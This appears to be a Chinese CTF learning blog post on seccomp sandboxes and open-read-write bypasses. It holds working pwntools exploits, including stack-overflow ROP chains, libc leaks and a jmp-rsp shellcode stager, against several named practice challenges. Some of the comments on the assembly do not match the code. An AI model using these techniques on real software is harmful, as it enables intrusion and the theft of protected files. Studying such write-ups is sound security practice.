sandbox专题学习 刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!
💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝
orw 什么时候用orw 当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。
orw是什么 orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。
sandbox的开启 第一种是利用prctl(),第二种是利用seccomp的库函数
(1) prctl():
在 Linux 系统编程中,prctl 函数结合 PR_SET_SECCOMP 或 PR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp(Secure Computing)沙箱 ,这是一种限制进程系统调用(syscall)的安全机制。
PR_SET_NO_NEW_PRIVS:
1 prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限
PR_SET_SECCOMP:
严格模式(SECCOMP_MODE_STRICT) :仅允许 read, write, _exit, sigreturn 四个系统调用。
1 prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
过滤器模式(SECCOMP_MODE_FILTER):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。
1 2 struct sock_fprog filter = { ... }; // 定义 BPF 过滤器 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct sock_filter filter [] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0 , 1 ), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0 , 1 ), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), }; struct sock_fprog prog = { .len = sizeof (filter) / sizeof (filter[0 ]), .filter = filter, };
(2)seccomp的库函数:例如libseccomp 库
例子:仅允许进程执行 exit_group、read、write 系统调用:
1 2 3 4 5 6 #include <seccomp.h> scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0 ); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0 ); seccomp_load(ctx);
了解完这些,就开始学习如何解决它了(orw)
seccomp-tools可以用来查看沙箱的情况
安装:
1 2 3 sudo apt install gcc ruby-dev sudo gem install seccomp-tools seccomp-tools dump ./elf #elf换成你自己的文件名
可以看到那些函数是可以用的。
open、read、write函数的了解 open()函数:
函数原型
1 2 3 4 5 #include <fcntl.h> #include <unistd.h> int open (const char *pathname, int flags) ;int open (const char *pathname, int flags, mode_t mode) ;
pathname
:
文件路径名(字符串),例如:"flag"、"/tmp/test.txt"。
flags
:
打开文件的方式,比如只读、只写、读写等。
可以组合多个标志(使用按位或 | 操作符)。
标志常量
十六进制值
含义
O_RDONLY
0x0
只读方式打开文件
O_WRONLY
0x1
只写方式打开文件
O_RDWR
0x2
读写方式打开文件
系统调用号:
sys_open 的系统调用号是 5(十进制),即 0x5。
关键点
内容
函数名
open()
功能
打开或创建文件
返回值
文件描述符(成功)或 -1(失败)
常用 flag
O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND
mode 参数
用于指定新文件权限,如 0644
系统调用号
5(Linux x86)
寄存器传参
eax=5, ebx=filename, ecx=flags, edx=mode
read()函数:
函数原型:
1 2 3 #include <unistd.h> ssize_t read (int fd, void *buf, size_t count) ;
参数名
类型
含义
fd
int
文件描述符(由 open() 或其他方式获得)
buf
void*
用户空间的缓冲区地址,用来保存读取的数据
count
size_t
要读取的最大字节数
系统调用号:
sys_read 的系统调用号是 3(十进制),即 0x3。
1 2 3 4 5 6 寄存器传参方式(Linux x86): 寄存器 对应参数 eax 系统调用号:3 ebx 文件描述符 fd ecx 缓冲区地址 buf edx 要读取的字节数 count
write()函数:
函数原型:
1 2 3 #include <unistd.h> ssize_t write (int fd, const void *buf, size_t count) ;
参数名
类型
含义
fd
int
文件描述符(由 open() 或其他方式获得)
buf
const void*
用户空间的缓冲区地址,包含要写入的数据
count
size_t
要写入的最大字节数
系统调用号:
sys_write 的系统调用号是 4(十进制),即 0x4。
寄存器传参方式(Linux x86):
寄存器
对应参数
eax
系统调用号:4
ebx
文件描述符 fd
ecx
缓冲区地址 buf
edx
要写入的字节数 count
做完了铺垫,现在就开始orw shellcode绕过 首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。
第一种直接用汇编写
1 2 3 4 #0x67616c66根据文件名改动 0x67616c66转ASCII-->flag shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80') shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80') shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。
1 2 3 4 5 6 7 8 #fd = open("flag", O_RDONLY); push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY) push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag') mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针 xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY) xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要) mov eax, 0x5 ; 调用sys_open (系统调用号5) int 0x80 ; 触发中断,执行系统调用
1 2 3 4 5 mov eax, 0x3 ; 调用sys_read (系统调用号3) mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中) xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入) mov edx, 0x100 ; 读取长度为256字节 int 0x80 ; 触发中断,执行系统调用
1 2 3 mov eax, 0x4 ; 调用sys_write (系统调用号4) xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出) int 0x80 ; 触发中断,执行系统调用
还可以通过传参传入flag的位置
1 2 3 4 5 6 7 8 9 s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; ''' s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; ''' s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; ''' payload = asm(s)+b'/home/pwn/flag\x00'
第二种直接利用pwntools
1 2 3 4 5 payload = shellcraft.open ('flag' ) payload += shellcraft.read(3 , 0x804a090 , 0x100 ) payload += shellcraft.write(1 , 0x804a090 , 0x100 ) p.sendline(asm(payload))
exp:
1 2 3 4 5 6 7 8 9 from pwn import *io = process("./orw" ) io.recvuntil(b'shellcode:' ) shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80' ) shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80' ) shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80' ) payload = shellcode io.send(payload) io.interactive()
ROP绕过 例题
1 2 3 4 5 6 7 8 9 10 int __fastcall main (int argc, const char **argv, const char **envp) { setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); gift(); init_sandbox(); sandboxx(); return 0 ; }
1 2 3 4 5 6 7 8 9 ssize_t sandboxx () { char buf[16 ]; puts ("Welcome to the Sandbox Challenge" ); puts ("Maybe you need an open read wirte " ); printf ("please input your name:" ); return read(0 , buf, 0x100u LL); }
1 2 3 4 5 int gift () { puts ("I will give you a nice little gift" ); return printf ("Leak: %p\n" , &puts ); }
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *context(os='linux' ,arch='amd64' ,log_level='debug' ) p=process("./sandbox" ) elf=ELF("./sandbox" ) libc=ELF("libc.so.6" ) def bug (): gdb.attach(p) pause() bss=0x404020 +0x800 sandboxx = 0x4013ED p.recvuntil("0x" ) libc_base=int (p.recv(12 ),16 )-libc.sym['puts' ] print (hex (libc_base))rdi=libc_base+0x0000000000023b6a rsi=libc_base+0x000000000002601f rdx_r12=libc_base+0x0000000000119431 rsp = libc_base + 0x000000000002f70a open_addr=libc_base+libc.sym['open' ] read_addr=libc_base+libc.sym['read' ] write_addr=libc_base+libc.sym['write' ] payload2=b'a' *0x10 +b'a' *0x8 +p64(rdi)+p64(0 )+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100 )+p64(0 )+p64(read_addr)+p64(rsp)+p64(bss + 8 ) p.recvuntil(b"name:" ) p.send(payload2) payload =b'/flag\x00\x00\x00' payload +=p64(rdi) payload +=p64(bss) payload +=p64(rsi) payload +=p64(0 ) payload +=p64(open_addr) payload +=p64(rdi) payload +=p64(3 ) payload +=p64(rsi) payload +=p64(bss+0x600 ) payload +=p64(rdx_r12) payload +=p64(0x100 )*2 payload +=p64(read_addr) payload +=p64(rdi) payload +=p64(1 ) payload +=p64(rsi) payload +=p64(bss+0x600 ) payload +=p64(rdx_r12) payload +=p64(0x100 )*2 payload +=p64(write_addr) payload +=p64(sandboxx ) p.send(payload) p.interactive()
江西省赛 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) io = remote("" ,12345 ) gs = ''' b *$rebase(0x19f2) set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31- 0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31 ''' s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() rl = lambda : io.recvline() rn = lambda counts : io.recvn(counts) ru = lambda text : io.recvuntil(text) uu32 = lambda : u32(io.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) iuu32 = lambda : int (io.recv(10 ),16 ) iuu64 = lambda : int (io.recv(6 ),16 ) uheap = lambda : u64(io.recv(6 ).ljust(8 ,b'\x00' )) lg = lambda data : io.success('%s -> 0x%x' % (data, eval (data))) ia = lambda : io.interactive() elf = ELF("./pwn" ) libc = ELF("./libc.so.6" ) pop_rdi = 0x00000000004013d3 ru(b"hello sandbox!" ) payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(0x4012f9 ) sl(payload) ru(b'\x0a' ) puts_addr = u64(rn(6 )+b'\x00\x00' ) lg("puts_addr" ) libc_addr = puts_addr - libc.sym['puts' ] lg("libc_addr" ) open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] pop_rsi = libc_addr + 0x000000000002601f pop_rdx = libc_addr + 0x0000000000142c92 pop_rax = libc_addr + 0x0000000000036174 syscall = libc_addr+libc.search(asm("""syscall;ret""" )).__next__() bss_addr = 0x404200 ru(b"hello sandbox!" ) payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10 ) + p64(read_addr) payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(pop_rax) + p64(2 ) + p64(syscall) payload2 += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(bss_addr + 0x100 ) + p64(pop_rdx) + p64(0x30 ) + p64(read_addr) payload2 += p64(pop_rdi) + p64(1 ) + p64(pop_rsi) + p64(bss_addr + 0x100 ) + p64(pop_rdx) + p64(0x30 ) + p64(write_addr) sl(payload2) sleep(1 ) sl(b"./flag\x00\x00" ) ia()
今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。
ctfshow pwn69 1 2 3 4 5 6 7 8 int sub_400A16 () { char buf[32 ]; puts ("Now you can use ORW to do" ); read(0 , buf, 0x38u LL); return puts ("No you don't understand I say!" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
可以看到orw是可以的,所以我们要先利用read将orw读到
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) elf = ELF('./pwn' ) p = remote('pwn.challenge.ctf.show' ,'28191' ) mmap = 0x123000 orw_shellcode = shellcraft.open ("./ctfshow_flag" ) orw_shellcode += shellcraft.read(3 ,mmap,100 ) orw_shellcode += shellcraft.write(1 ,mmap,100 ) orw_shellcode = asm(orw_shellcode) jmp_rsp_addr = 0x400a01 buf_shellcode = asm(shellcraft.read(0 ,mmap,100 )) + asm("mov rax,0x123000; jmp rax" ) buf_shellcode = buf_shellcode.ljust(0x28 ,b'\x00' ) buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp" ) p.recvuntil('do' ) p.sendline(buf_shellcode) p.sendline(orw_shellcode) p.interactive()
这一部分是标准的orw
1 2 3 4 orw_shellcode = shellcraft.open ("./ctfshow_flag" ) orw_shellcode += shellcraft.read(3 ,mmap,100 ) orw_shellcode += shellcraft.write(1 ,mmap,100 ) orw_shellcode = asm(orw_shellcode)
这部分我来详细解释一下
1 2 3 buf_shellcode = asm(shellcraft.read(0 ,mmap,100 )) + asm("mov rax,0x123000; jmp rax" ) buf_shellcode = buf_shellcode.ljust(0x28 ,b'\x00' ) buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp" )
asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。
asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。
p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp
增高0x08。
asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。
然后我来看看整个流程。
p.sendline(buf_shellcode)后,栈上
1 2 3 4 read(0,mmap,100) buf_shellcode.ljust(0x28,b'\x00') p64(jmp_rsp_addr) # return_addr asm("sub rsp,0x30; jmp rsp")
有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。
我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。
newstar2025 noshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __fastcall main (int argc, const char **argv, const char **envp) { __int64 v3; __int64 v5; char buf[256 ]; init(argc, argv, envp); write(1 , "Your Power Has Been Restricted!\n" , 0x20u LL); write(1 , "But your mind is still free!\n" , 0x1Du LL); write(1 , "Do you want to say something?\n" , 0x1Eu LL); if ( getchar() == 121 || getchar() == 89 ) { read(0 , buf, 0xFFu LL); buf[255 ] = 0 ; } else { write(1 , "You chose not to say anything.\n" , 0x20u LL); } write(1 , "leave or capture the flag?\n" , 0x1Cu LL); __isoc99_scanf("%lld" , &v5); if ( v5 <= 0 ) { v3 = 1LL ; } else { v3 = v5; if ( v5 > 2 ) v3 = 2LL ; } v5 = v3; if ( v3 == 1 ) { write(1 , "You chose to leave.\n" , 0x14u LL); exit (0 ); } if ( v5 == 2 ) write(1 , "You chose to capture the flag!\n" , 0x1Fu LL); challenge(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void __noreturn challenge () { int v0; while ( 1 ) { write(1 , "Welcome to the challenge!\n" , 0x1Au LL); write(1 , "Please Make choice:\n" , 0x14u LL); write(1 , "1. Check your power\n" , 0x14u LL); write(1 , "2. Get the power of your cat\n" , 0x18u LL); write(1 , "3. Open the door\n" , 0x11u LL); write(1 , "4. Destroy this world\n" , 0x16u LL); write(1 , "5. leave this world\n" , 0x14u LL); write(1 , "your choice: " , 0xDu LL); __isoc99_scanf("%d" , &v0); switch ( v0 ) { case 1 : Check_your_power(); break ; case 2 : Get_the_power_of_your_cat(); break ; case 3 : open_the_door(); break ; case 4 : destroy_this_world(); break ; case 5 : write(1 , "Goodbye!\n" , 9uLL ); exit (0 ); default : write(1 , "Invalid choice!\n" , 0x10u LL); break ; } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 ssize_t Check_your_power () { char buf[32 ]; puts ("Your power:" ); printf ("%d\n" , (unsigned int )off); puts ("say something:" ); return read(0 , buf, off); } int Get_the_power_of_your_cat () { int result; result = puts ("cat help you" ); off = 256 ; return result; } int open_the_door () { int fd; fd = open("flag.txt" , 0 ); close(fd); return puts ("The door is closed!" ); } int destroy_this_world () { int v1; puts ("make a choice:" ); __isoc99_scanf("%d" , &v1); if ( v1 ) return system("rm -rf ./flag" ); else return system("/bin/sh" ); }
这个sandbox,open,write,read地址都给了,感觉就难在长度的限制要利用上mov rdi rax;ret这个,最后一个rop链
锁了几个小时终于通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import * context (arch='amd64' , os='linux' , log_level='debug' ) def debug () : gdb.attach (p) pause () p = remote('ip' , port) # p=process('./noshell' ) #elf = ELF('./noshell' ) open_addr = 0x4011E0 read_addr = 0x4011B0 write_addr = 0x401150 bss_addr= 0x404000 + 0x200 flag = 0x402034 pop_rdi = 0x4013f3 pop_rsi = 0x4013f5 pop_rdx = 0x4013f7 ret = 0x4014CA mov_rdi_rax = 0x00000000004013f9 p.recvuntil(b'Do you want to say something?\n' ) p.sendline(b'y' ) p.recvuntil(b'l eave or capture the flag?\n') p.sendline(b' 3 ') p.recvuntil(b' your choice: ') p.sendline(b' 2 ') p.recvuntil(b' your choice: ') p.sendline(b' 1 ') # 更紧凑的payload payload2 = b' a' * 0x28 #payload2 += p64(ret) payload2 += p64(pop_rdi) + p64(0) payload2 += p64(pop_rsi) + p64(bss_addr) payload2 += p64(pop_rdx) + p64(8) payload2 += p64(read_addr) # 打开文件 (O_RDONLY = 0) payload2 += p64(pop_rdi) + p64(bss_addr) # filename payload2 += p64(pop_rsi) + p64(0) # flags = O_RDONLY payload2 += p64(pop_rdx) + p64(0) # mode = 0 payload2 += p64(open_addr) # 传递文件描述符并读取文件内容 payload2 += p64(mov_rdi_rax) # mov rdi, rax payload2 += p64(pop_rsi) + p64(bss_addr + 0x100) payload2 += p64(pop_rdx) + p64(0x100) payload2 += p64(read_addr) # 写入到stdout payload2 += p64(pop_rdi) + p64(1) payload2 += p64(pop_rsi) + p64(bss_addr + 0x100) payload2 += p64(pop_rdx) + p64(0x100) payload2 += p64(write_addr) # debug() p.send(payload2) p.send(b' ./flag\x00\x00') p.interactive()
当然如果没直接给出orw函数地址,我们也可以先利用libc泄露再orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import * from LibcSearcher import * context (arch='amd64' , os='linux' ) #(arch='amd64' , os='linux' ) # io = process("./noshell" ) io = remote('ip' , port) elf = ELF("./noshell" ) # Gadgets from ROPgadget pop_rdi = 0x4013f3 pop_rsi = 0x4013f5 pop_rdx = 0x4013f7 bss_addr = 0x4040A0 +0x200 ret = 0x40101a read_addr = 0x401446 mov_rdi_rax = 0x00000000004013f9 # Step 1 : Enter challenge and set off to 256 io.recvuntil(b"Do you want to say something?\n" ) io.send(b'y' ) # Send 'y' to trigger read io.send(b'A' * 100 ) # Send some data for read io.recvuntil(b"leave or capture the flag?\n" ) io.sendline(b'2' ) # Choose to capture the flag # Step 2 : Set off to 256 first io.recvuntil(b"your choice: " ) io.sendline(b'2' ) # Get_the_power_of_your_cat # Step 3 : Leak libc address io.recvuntil(b"your choice: " ) io.sendline(b'1' ) # Check_your_power io.recvuntil(b"say something:\n" ) payload1 = b'A' * 0x20 # Fill buffer payload1 += b'B ' * 8 # Override RBP payload1 += p64(pop_rdi) + p64(elf.got[' puts ']) + p64(elf.plt[' puts ']) payload1 += p64(elf.symbols[' challenge']) # Return to challenge to continue io.send(payload1) # Receive leaked address puts_addr=u64(io.recvuntil(' \x7f')[-6:].ljust(8,b' \x00')) log.info("puts_addr: 0x%x" % puts_addr) io.recvuntil(b"your choice: ") io.sendline(b' 1 ') # Check_your_power io.recvuntil(b"say something:\n") payload2 = b' A' * 0x20 # Fill buffer payload2 += b' B' * 8 # Override RBP payload2 += p64(pop_rdi) + p64(elf.got[' write']) + p64(elf.plt[' puts ']) payload2 += p64(elf.symbols[' challenge']) # Return to challenge to continue io.send(payload2) # Receive leaked address write_addr=u64(io.recvuntil(' \x7f')[-6:].ljust(8,b' \x00')) log.info("write_addr: 0x%x" % write_addr) #pause() libc_base = puts_addr - 0x084ed0 open_addr = libc_base + 0x117610 read_addr = libc_base +0x117900 rdx_r12 = libc_base + 0x0000000000122431 rsp =libc_base + 0x0000000000039762 # Step 4: Second overflow to read flag # We' re already back in challenge function due to the loopio.recvuntil(b"your choice: " ) io.sendline(b'2' ) # Set off to 256 again (just to be safe) io.recvuntil(b"your choice: " ) io.sendline(b'1' ) # Check_your_power # 更紧凑的payload payload2 = b'a' * 0x28 #payload2 += p64(ret) payload2 += p64(pop_rdi) + p64(0 ) payload2 += p64(pop_rsi) + p64(bss_addr) payload2 += p64(pop_rdx) + p64(8 ) payload2 += p64(read_addr) # 打开文件 (O_RDONLY = 0 ) payload2 += p64(pop_rdi) + p64(bss_addr) # filename payload2 += p64(pop_rsi) + p64(0 ) # flags = O_RDONLY payload2 += p64(pop_rdx) + p64(0 ) # mode = 0 payload2 += p64(open_addr) # 传递文件描述符并读取文件内容 payload2 += p64(mov_rdi_rax) # mov rdi, rax payload2 += p64(pop_rsi) + p64(bss_addr + 0x100 ) payload2 += p64(pop_rdx) + p64(0x100 ) payload2 += p64(read_addr) # 写入到stdout payload2 += p64(pop_rdi) + p64(1 ) payload2 += p64(pop_rsi) + p64(bss_addr + 0x100 ) payload2 += p64(pop_rdx) + p64(0x100 ) payload2 += p64(write_addr) # debug() io.send(payload2) io.send(b'./flag\x00\x00' ) io.interactive()